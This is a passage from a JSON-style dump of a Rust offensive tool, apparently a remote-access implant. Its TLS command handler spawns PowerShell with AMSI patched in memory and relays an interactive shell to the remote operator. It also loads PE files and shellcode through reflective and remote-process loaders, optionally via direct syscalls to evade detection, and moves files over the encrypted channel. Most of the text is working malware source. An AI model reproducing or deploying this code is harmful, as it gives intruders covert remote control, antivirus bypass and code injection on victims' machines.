C:\\\\path\\\\to\\\\PE_to_load\\0\"\n                            .as_bytes(),\n                    )?;\n                }\n            } else {\n                let load_ret: Result<(), Box<dyn Error>>;\n                if String::from_utf8_lossy(&buff)\n                    .trim_end_matches('\\0')\n                    .starts_with(\"load\")\n                {\n                    load_ret = call_loader_pe(path[1].trim_end_matches('\\0'), \"\", 2);\n                } else {\n                    load_ret = call_loader_pe(path[1].trim_end_matches('\\0'), \"\", 3);\n                }\n                match load_ret {\n                    Ok(()) => {\n                        tls_stream.write(\"\\0\".as_bytes())?;\n                    }\n                    Err(r) => {\n                        tls_stream.write(r.to_string().as_bytes())?;\n                    }\n                };\n            }\n\n        // Check for PowerShell w/o AMSI command\n        } else if String::from_utf8_lossy(&buff)\n            .trim_end_matches('\\0')\n            .starts_with(\"powpow\")\n        {\n            // Start the PowerShell process and patch the AMSI in its memory\n            let (tx1, rx1) = channel();\n            let (tx2, rx2) = channel();\n            let mut child = Command::new(\"powershell.exe\")\n                .args([\"-nop\", \"-exec\", \"bypass\"])\n                .stdin(Stdio::piped())\n                .stdout(Stdio::piped())\n                .spawn()\n                .expect(\"Failed to start process\");\n\n            let amsi_value = String::from_utf8_lossy(&buff)\n                .splitn(3, ':')\n                .nth(1)\n                .unwrap_or(\"N\")\n                .trim_end_matches('\\0')\n                .to_owned();\n            println!(\"{}\", amsi_value);\n            if amsi_value\n                .trim_end_matches('\\0')\n                .trim_end()\n                .eq_ignore_ascii_case(\"Y\")\n            {\n                let syscalls_value = String::from_utf8_lossy(&buff)\n                    .splitn(3, ':')\n                    .nth(2)\n                    .unwrap_or(\"N\")\n                    .trim_end_matches('\\0')\n                    .to_owned();\n                println!(\"{}\", syscalls_value);\n                let syscalls_bool = match syscalls_value.trim_end_matches('\\0').trim_end() {\n                    \"Y\" => true,\n                    \"N\" => false,\n                    _ => false,\n                };\n                patch_amsi(child.id(), syscalls_bool);\n            }\n\n            // Start process thread with in/out pipes\n            start_process_thread(&mut child, tx2, rx1)?;\n\n            let should_terminate = Arc::new(AtomicBool::new(false));\n            signal_hook::flag::register(SIGTERM, Arc::clone(&should_terminate))?;\n\n            // Receive the PowerShell banner\n            loop {\n                match rx2.try_recv() {\n                    Ok(line) => {\n                        if line.starts_with(\"EndOfOutput\") {\n                            break;\n                        }\n                        tls_stream.write(line.as_bytes())?;\n                    }\n                    Err(TryRecvError::Empty) => {\n                        continue;\n                    }\n                    Err(r) => {\n                        log::debug!(\"Recv error: {:?}\", r);\n                        tls_stream.write(r.to_string().as_bytes())?;\n                        break;\n                    }\n                }\n            }\n\n            // Interactive loop\n            while !should_terminate.load(Ordering::Relaxed) {\n                buff = [0; 4096];\n                match tls_stream.read(&mut buff[0..]) {\n                    Ok(_) => (),\n                    Err(r) => {\n                        log::debug!(\"Reading error : {}\", r);\n                        tls_stream.write(r.to_string().as_bytes())?;\n                        continue;\n                    }\n                };\n                let cmd = \"\".to_owned() + String::from_utf8_lossy(&buff).trim_end_matches('\\0');\n\n                match tx1.send(String::from(cmd.clone())) {\n                    Ok(_) => {\n                        if cmd.trim_end_matches('\\0').trim_end() == \"quit\"\n                            || cmd.trim_end_matches('\\0').trim_end() == \"exit\"\n                        {\n                            break;\n                        }\n                        while !should_terminate.load(Ordering::Relaxed) {\n                            match rx2.try_recv() {\n                                Ok(line) => {\n                                    if line.starts_with(\"EndOfOutput\") {\n                                        break;\n                                    }\n                                    tls_stream.write(line.as_bytes())?;\n                                }\n                                Err(TryRecvError::Empty) => {\n                                    continue;\n                                }\n                                Err(r) => {\n                                    log::debug!(\"Recv error: {:?}\", r);\n                                    tls_stream.write(r.to_string().as_bytes())?;\n                                    continue;\n                                }\n                            }\n                        }\n                    }\n                    Err(r) => {\n                        log::debug!(\n                            \"Error sending command to PowerShell through the pipe : {:?}\",\n                            r\n                        );\n                        continue;\n                    }\n                }\n            }\n            child.kill()?;\n        } else {\n            // Magic stuff\n            let mut res =\n                do_stuff(String::from_utf8_lossy(&buff[..bytes_read]).trim_end_matches('\\0'));\n            if res.len() == 0 {\n                tls_stream.write(\"\\0\".as_bytes())?;\n            } else {\n                // Because the TLS max buffer size depends on the underlying library, we cut the paquets to send them into blocks of 4096\n                let mut buff_to_send = [0; 4096];\n                loop {\n                    let mut count = 0;\n                    for c in &res {\n                        if count == 4096 {\n                            break;\n                        }\n                        buff_to_send[count] = *c;\n                        count += 1;\n                    }\n                    let _ = tls_stream.write(&buff_to_send)?;\n                    buff_to_send = [0; 4096];\n                    if count < 4096 {\n                        break;\n                    }\n                    let res2 = res.split_off(count);\n                    res = res2;\n                }\n            }\n        }\n        tls_stream.flush()?;\n    }\n\n    tls_stream.shutdown()?;\n    Ok(())\n}\n"
  },
  {
    "path": "src/utils/structures.rs",
    "content": "#![allow(non_snake_case)]\n#![allow(non_camel_case_types)]\n#![allow(dead_code)]\n#![cfg(target_family = \"windows\")]\n\n/*\nAll these structures have been copied from the OffensiveRust repository by winsecurity : https://github.com/winsecurity/Offensive-Rust\nThey take the advantage to be more detailled than the ones offered by Microsoft in their crate\n*/\n\n#[derive(Debug, Default, Clone)]\n#[repr(C)]\npub struct IMAGE_DOS_HEADER {\n    pub e_magic: [u8; 2], // Magic number\n    e_cblp: u16,          // Bytes on last page of file\n    e_cp: u16,            // Pages in file\n    e_crlc: u16,          // Relocations\n    e_cparhdr: u16,       // Size of header in paragraphs\n    e_minalloc: u16,      // Minimum extra paragraphs needed\n    e_maxalloc: u16,      // Maximum extra paragraphs needed\n    e_ss: u16,            // Initial (relative) SS value\n    e_sp: u16,            // Initial SP value\n    e_csum: u16,          // Checksum\n    e_ip: u16,            // Initial IP value\n    e_cs: u16,            // Initial (relative) CS value\n    e_lfarlc: u16,        // File address of relocation table\n    e_ovno: u16,          // Overlay number\n    e_res1: [u16; 4],     // Reserved words\n    e_oemid: u16,         // OEM identifier (for e_oeminfo)\n    e_oeminfo: u16,       // OEM information, e_oemid specific\n    e_res2: [u16; 10],    // Reserved words\n    pub e_lfanew: i32,    // File address of new exe header\n}\n\n#[derive(Clone, Default, Debug)]\n#[repr(C)]\npub struct IMAGE_SECTION_HEADER {\n    pub Name: [u8; 8],\n    VirtualSize: u32,\n    pub VirtualAddress: u32,\n    pub SizeOfRawData: u32,\n    pub PointerToRawData: u32,\n    PointerToRelocations: u32,\n    PointerToLinenumbers: u32,\n    NumberOfRelocations: u16,\n    NumberOfLinenumbers: u16,\n    Characteristics: u32,\n}\n\nimpl IMAGE_SECTION_HEADER {\n    fn getsecname(&mut self) -> String {\n        String::from_utf8_lossy(&self.Name).to_string()\n    }\n}\n\n#[repr(C)]\npub union chars_or_originalfirstthunk {\n    Characteristics: u32,\n    OriginalFirstThunk: u32,\n}\n\n#[derive(Debug, Clone, Default)]\n#[repr(C)]\npub struct IMAGE_IMPORT_DESCRIPTOR {\n    pub Characteristics_or_OriginalFirstThunk: u32,\n    TimeDateStamp: u32,\n    ForwarderChain: u32,\n    pub Name: u32,\n    pub FirstThunk: u32,\n}\n\n#[repr(C)]\npub union IMAGE_THUNK_DATA32 {\n    pub ForwarderString: u32,\n    pub Function: u32,\n    pub Ordinal: u32,\n    pub AddressOfData: u32,\n}\n\n#[derive(Debug, Clone, Default)]\n#[repr(C)]\npub struct IMAGE_EXPORT_DIRECTORY {\n    pub Characteristics: u32,\n    pub TimeDateStamp: u32,\n    pub MajorVersion: u16,\n    pub MinorVersion: u16,\n    pub Name: u32,\n    pub Base: u32,\n    pub NumberOfFunctions: u32,\n    pub NumberOfNames: u32,\n    pub AddressOfFunctions: u32,    // RVA from base of image\n    pub AddressOfNames: u32,        // RVA from base of image\n    pub AddressOfNameOrdinals: u32, // RVA from base of image\n}\n\n#[derive(Debug, Default, Clone)]\n#[repr(C)]\npub struct IMAGE_OPTIONAL_HEADER64 {\n    Magic: u16,\n    MajorLinkerVersion: u8,\n    MinorLinkerVersion: u8,\n    SizeOfCode: u32,\n    SizeOfInitializedData: u32,\n    SizeOfUninitializedData: u32,\n    pub AddressOfEntryPoint: u32,\n    BaseOfCode: u32,\n    pub ImageBase: i64,\n    SectionAlignment: u32,\n    FileAlignment: u32,\n    MajorOperatingSystemVersion: u16,\n    MinorOperatingSystemVersion: u16,\n    MajorImageVersion: u16,\n    MinorImageVersion: u16,\n    MajorSubsystemVersion: u16,\n    MinorSubsystemVersion: u16,\n    Win32VersionValue: u32,\n    SizeOfImage: u32,\n    SizeOfHeaders: u32,\n    CheckSum: u32,\n    Subsystem: u16,\n    DllCharacteristics: u16,\n    SizeOfStackReserve: u64,\n    SizeOfStackCommit: u64,\n    SizeOfHeapReserve: u64,\n    SizeOfHeapCommit: u64,\n    LoaderFlags: u32,\n    NumberOfRvaAndSizes: u32,\n    pub ExportTable: IMAGE_DATA_DIRECTORY,\n    pub ImportTable: IMAGE_DATA_DIRECTORY,\n    ResourceTable: IMAGE_DATA_DIRECTORY,\n    ExceptionTable: IMAGE_DATA_DIRECTORY,\n    CertificateTable: IMAGE_DATA_DIRECTORY,\n    pub BaseRelocationTable: IMAGE_DATA_DIRECTORY,\n    Debug: IMAGE_DATA_DIRECTORY,\n    Architecture: IMAGE_DATA_DIRECTORY,\n    GlobalPtr: IMAGE_DATA_DIRECTORY,\n    TLSTable: IMAGE_DATA_DIRECTORY,\n    LoadConfigTable: IMAGE_DATA_DIRECTORY,\n    BoundImport: IMAGE_DATA_DIRECTORY,\n    IAT: IMAGE_DATA_DIRECTORY,\n    DelayImportDescriptor: IMAGE_DATA_DIRECTORY,\n    CLRRuntimeHeader: IMAGE_DATA_DIRECTORY,\n    Reserved: IMAGE_DATA_DIRECTORY,\n}\n\n#[derive(Debug, Default, Clone)]\n#[repr(C)]\npub struct IMAGE_OPTIONAL_HEADER32 {\n    Magic: u16,\n    MajorLinkerVersion: u8,\n    MinorLinkerVersion: u8,\n    SizeOfCode: u32,\n    SizeOfInitializedData: u32,\n    SizeOfUninitializedData: u32,\n    AddressOfEntryPoint: u32,\n    BaseOfCode: u32,\n    // PE32 contains this additional field\n    BaseOfData: u32,\n    ImageBase: u32,\n    SectionAlignment: u32,\n    FileAlignment: u32,\n    MajorOperatingSystemVersion: u16,\n    MinorOperatingSystemVersion: u16,\n    MajorImageVersion: u16,\n    MinorImageVersion: u16,\n    MajorSubsystemVersion: u16,\n    MinorSubsystemVersion: u16,\n    Win32VersionValue: u32,\n    SizeOfImage: u32,\n    SizeOfHeaders: u32,\n    CheckSum: u32,\n    Subsystem: u32,\n    DllCharacteristics: u16,\n    SizeOfStackReserve: u32,\n    SizeOfStackCommit: u32,\n    SizeOfHeapReserve: u32,\n    SizeOfHeapCommit: u32,\n    LoaderFlags: u32,\n    NumberOfRvaAndSizes: u32,\n    ExportTable: IMAGE_DATA_DIRECTORY,\n    ImportTable: IMAGE_DATA_DIRECTORY,\n    ResourceTable: IMAGE_DATA_DIRECTORY,\n    ExceptionTable: IMAGE_DATA_DIRECTORY,\n    CertificateTable: IMAGE_DATA_DIRECTORY,\n    BaseRelocationTable: IMAGE_DATA_DIRECTORY,\n    Debug: IMAGE_DATA_DIRECTORY,\n    Architecture: IMAGE_DATA_DIRECTORY,\n    GlobalPtr: IMAGE_DATA_DIRECTORY,\n    TLSTable: IMAGE_DATA_DIRECTORY,\n    LoadConfigTable: IMAGE_DATA_DIRECTORY,\n    BoundImport: IMAGE_DATA_DIRECTORY,\n    IAT: IMAGE_DATA_DIRECTORY,\n    DelayImportDescriptor: IMAGE_DATA_DIRECTORY,\n    CLRRuntimeHeader: IMAGE_DATA_DIRECTORY,\n    Reserved: IMAGE_DATA_DIRECTORY,\n}\n\n#[derive(Debug, Default, Clone)]\n#[repr(C)]\npub struct IMAGE_FILE_HEADER {\n    Machine: u16,\n    pub NumberOfSections: u16,\n    TimeDateStamp: u32,\n    PointerToSymbolTable: u32,\n    NumberOfSymbols: u32,\n    SizeOfOptionalHeader: u16,\n    Characteristics: u16,\n}\n\n#[derive(Debug, Default, Clone)]\n#[repr(C)]\npub struct IMAGE_DATA_DIRECTORY {\n    pub VirtualAddress: u32,\n    pub Size: u32,\n}\n\n#[derive(Debug, Default, Clone)]\n#[repr(C)]\npub struct IMAGE_nt_headS32 {\n    Signature: u32,\n    FileHeader: IMAGE_FILE_HEADER,\n    OptionalHeader: IMAGE_OPTIONAL_HEADER32,\n}\n\n#[derive(Debug, Default, Clone)]\n#[repr(C)]\npub struct IMAGE_nt_headS64 {\n    Signature: u32,\n    pub FileHeader: IMAGE_FILE_HEADER,\n    pub OptionalHeader: IMAGE_OPTIONAL_HEADER64,\n}\n\n#[derive(Debug, Default, Clone)]\npub struct MY_IMAGE_THUNK_DATA64 {\n    pub Address: [u8; 8],\n}\n\n#[derive(Debug, Clone, Default)]\npub struct MY_IMAGE_BASE_RELOCATION {\n    pub VirtualAddress: u32,\n    pub SizeofBlock: u32,\n}\n"
  },
  {
    "path": "src/utils/tools.rs",
    "content": "use std::error::Error;\nuse std::fs::File;\nuse std::io::{Read, Write};\nuse std::net::TcpStream;\n\npub fn receive_and_write_bytes(\n    tls_stream: &mut native_tls::TlsStream<TcpStream>,\n    bytes_vec: &mut Vec<u8>,\n    file_buffer: &mut [u8; 4096],\n) -> Result<(), Box<dyn Error>> {\n    loop {\n        if String::from_utf8_lossy(file_buffer).starts_with(\"EndOfTheFile\") {\n            // Drop all the ending null bytes added by the buffer\n            let file_len_string = String::from_utf8_lossy(file_buffer)\n                .split_once(':')\n                .map(|x| x.1)\n                .unwrap_or(\"0\")\n                .trim_end_matches('\\0')\n                .to_owned();\n            let file_len_usize = file_len_string.parse::<usize>();\n            unsafe {\n                bytes_vec.set_len(file_len_usize.unwrap());\n            }\n            break;\n        } else {\n            bytes_vec.extend_from_slice(file_buffer);\n            for elem in file_buffer.iter_mut() {\n                *elem = 0;\n            }\n            tls_stream.read(file_buffer)?;\n        }\n    }\n    Ok(())\n}\n\npub fn read_and_send_file(\n    mut file: File,\n    stream: &mut native_tls::TlsStream<std::net::TcpStream>,\n) -> Result<(), Box<dyn Error>> {\n    let mut buff = [0; 4096];\n    loop {\n        match file.read(&mut buff) {\n            Ok(bytes_read) => {\n                if bytes_read == 0 {\n                    let end_of_file =\n                        \"EndOfTheFile:\".to_owned() + &file.metadata()?.len().to_string();\n                    stream.write_all(end_of_file.as_bytes())?;\n                    break;\n                }\n                stream.write_all(&buff[..bytes_read])?;\n            }\n            Err(r) => {\n                log::error!(\"Error reading the file : {}\", r);\n                stream.flush()?;\n                return Err(Box::new(r));\n            }\n        }\n    }\n    Ok(())\n}\n"
  },
  {
    "path": "src/utils/tools_windows.rs",
    "content": "#![cfg(target_family = \"windows\")]\n\nuse std::error::Error;\nuse std::ffi::c_void;\nuse std::fs::File;\nuse std::io::Read;\n\nuse winapi::shared::ntdef::NULL;\nuse windows_sys::Win32::System::{\n    Diagnostics::Debug::{ReadProcessMemory, WriteProcessMemory},\n    Threading::GetCurrentProcess,\n};\n\nuse syscalls::syscall;\n\nuse crate::loader::{reflective_loader, remote_loader, shellcode_loader};\nuse crate::loader_syscalls::{\n    reflective_loader_syscalls, remote_loader_syscalls, shellcode_loader_syscalls,\n};\n\npub fn fill_structure_from_array<T, U>(base: &mut T, arr: &[U], syscalls_value: bool) -> usize {\n    unsafe {\n        let mut ret_byte = 0;\n        if syscalls_value {\n            syscall!(\n                \"NtWriteVirtualMemory\",\n                GetCurrentProcess(),\n                base as *mut T as *mut c_void,\n                arr as *const _ as *mut c_void,\n                std::mem::size_of::<T>(),\n                &mut ret_byte\n            );\n        } else {\n            WriteProcessMemory(\n                GetCurrentProcess(),\n                base as *mut T as *mut c_void,\n                arr as *const _ as *const c_void,\n                std::mem::size_of::<T>(),\n                &mut ret_byte,\n            );\n        }\n        return ret_byte;\n    }\n}\n\npub fn fill_structure_from_memory<T>(\n    struct_to_fill: &mut T,\n    base: *const c_void,\n    prochandle: *mut c_void,\n    syscalls_value: bool,\n) {\n    unsafe {\n        let mut buf: Vec<u8> = vec![0; std::mem::size_of::<T>()];\n        if syscalls_value {\n            syscall!(\n                \"NtReadVirtualMemory\",\n                prochandle,\n                base as *mut c_void,\n                buf.as_mut_ptr() as *mut c_void,\n                std::mem::size_of::<T>(),\n                NULL\n            );\n        } else {\n            ReadProcessMemory(\n                prochandle,\n                base,\n                buf.as_mut_ptr() as *mut c_void,\n                std::mem::size_of::<T>(),\n                std::ptr::null_mut(),\n            );\n        }\n        fill_structure_from_array(struct_to_fill, &buf, syscalls_value);\n    }\n}\n\npub fn read_from_memory(\n    base: *const c_void,\n    prochandle: *mut c_void,\n    syscalls_value: bool,\n) -> String {\n    let mut buf: Vec<u8> = vec![0; 100];\n    unsafe {\n        if syscalls_value {\n            syscall!(\n                \"NtReadVirtualMemory\",\n                prochandle,\n                base as *mut c_void,\n                buf.as_mut_ptr() as *mut c_void,\n                buf.len(),\n                NULL\n            );\n        } else {\n            ReadProcessMemory(\n                prochandle,\n                base,\n                buf.as_mut_ptr() as *mut c_void,\n                100,\n                std::ptr::null_mut(),\n            );\n        }\n    }\n    let mut i = 0;\n    let mut tmp: Vec<u8> = vec![0; 100];\n    while buf[i] != 0 {\n        tmp[i] = buf[i];\n        i += 1;\n    }\n\n    log::debug!(\"{}\", String::from_utf8_lossy(&tmp).to_string());\n    return String::from_utf8_lossy(&tmp).to_string();\n}\n\npub fn get_size(buffer: &Vec<u8>, struct_to_check: &str) -> usize {\n    if buffer.len() < 2 {\n        log::debug!(\"file size is less than 2\");\n        return 0;\n    }\n    let magic = &buffer[0..2];\n    let magicstring = String::from_utf8_lossy(magic);\n    if magicstring == \"MZ\" {\n        if buffer.len() < 64 {\n            log::debug!(\"file size is less than 64\");\n            return 0;\n        }\n        let ntoffset = &buffer[60..64];\n        unsafe {\n            let offset = std::ptr::read(ntoffset.as_ptr() as *const i32) as usize;\n\n            let bitversion = &buffer[offset + 4 + 20..offset + 4 + 20 + 2];\n            let bit = std::ptr::read(bitversion.as_ptr() as *const u16);\n            let index: usize;\n            if bit == 523 {\n                if struct_to_check == \"header\" {\n                    index = offset + 24 + 60;\n                    let headerssize = &buffer[index as usize..index as usize + 4];\n                    let size = std::ptr::read(headerssize.as_ptr() as *const i32);\n                    log::debug!(\"size of headers: {:x?}\", size);\n                    return size as usize;\n                } else {\n                    index = offset + 24 + 60 - 4;\n                    let headerssize = &buffer[index as usize..index as usize + 4];\n                    let size = std::ptr::read(headerssize.as_ptr() as *const i32);\n                    log::debug!(\"size of image: {:x?}\", size);\n                    return size as usize;\n                }\n            } else if bit == 267 {\n                if struct_to_check == \"header\" {\n                    index = offset + 24 + 60;\n                    let headerssize = &buffer[index as usize..index as usize + 4];\n                    let size = std::ptr::read(headerssize.as_ptr() as *const i32);\n                    //println!(\"size of headers: {:x?}\", size);\n                    return size as usize;\n                } else {\n                    index = offset + 24 + 60 - 4;\n                    let headerssize = &buffer[index as usize..index as usize + 4];\n                    let size = std::ptr::read(headerssize.as_ptr() as *const i32);\n                    log::debug!(\"size of image: {:x?}\", size);\n                    return size as usize;\n                }\n            } else {\n                log::debug!(\"invalid bit version\");\n                return 0;\n            }\n        }\n    } else {\n        log::debug!(\"its not a pe file\");\n        return 0;\n    }\n}\n\npub fn string_from_array(array: &mut Vec<u8>) -> String {\n    let mut res = String::new();\n\n    for i in 0..array.len() {\n        if array[i] == 0 {\n            return res;\n        }\n        res.push(array[i] as char);\n    }\n\n    return res;\n}\n\npub fn call_loader_shellcode(\n    shellcode_to_load: Vec<u8>,\n    pe_to_exec: &str,\n    loader: u8,\n) -> Result<(), Box<dyn Error>> {\n    match loader {\n        0 => match shellcode_loader_syscalls(shellcode_to_load, pe_to_exec) {\n            Ok(rl) => rl,\n            Err(_) => {\n                return Err(\"Shellcode loading error\".into());\n            }\n        },\n        1 => match shellcode_loader(shellcode_to_load, pe_to_exec) {\n            Ok(rl) => rl,\n            Err(_) => {\n                return Err(\"Shellcode loading error\".into());\n            }\n        },\n        _ => log::debug!(\"Invalid loader ID\"),\n    }\n    Ok(())\n}\n\npub fn call_loader_pe(\n    file_to_load: &str,\n    pe_to_exec: &str,\n    loader: u8,\n) -> Result<(), Box<dyn Error>> {\n    let mut buf: Vec<u8> = Vec::new();\n    let file = File::open(file_to_load.trim().replace(\"\\\\\\\\\", \"\\\\\"));\n    match file {\n        Ok(mut f) => {\n            f.read_to_end(&mut buf)?;\n            match loader {\n                0 => match remote_loader(buf, pe_to_exec) {\n                    Ok(rl) => rl,\n                    Err(_) => {\n                        return Err(\"PE loading error\".into());\n                    }\n                },\n                1 => match remote_loader_syscalls(buf, pe_to_exec) {\n                    Ok(rl) => rl,\n                    Err(_) => {\n                        return Err(\"PE loading error\".into());\n                    }\n                },\n                2 => match reflective_loader(buf) {\n                    Ok(rl) => rl,\n                    Err(_) => {\n                        return Err(\"PE loading error\".into());\n                    }\n                },\n                3 => match reflective_loader_syscalls(buf) {\n                    Ok(rl) => rl,\n                    Err(_) => {\n                        return Err(\"PE loading error\".into());\n                    }\n                },\n                _ => log::debug!(\"Invalid loader ID\"),\n            }\n        }\n        Err(_) => {\n            return Err(\"Error openning file to load\".into());\n        }\n    };\n\n    Ok(())\n}\n"
  }
]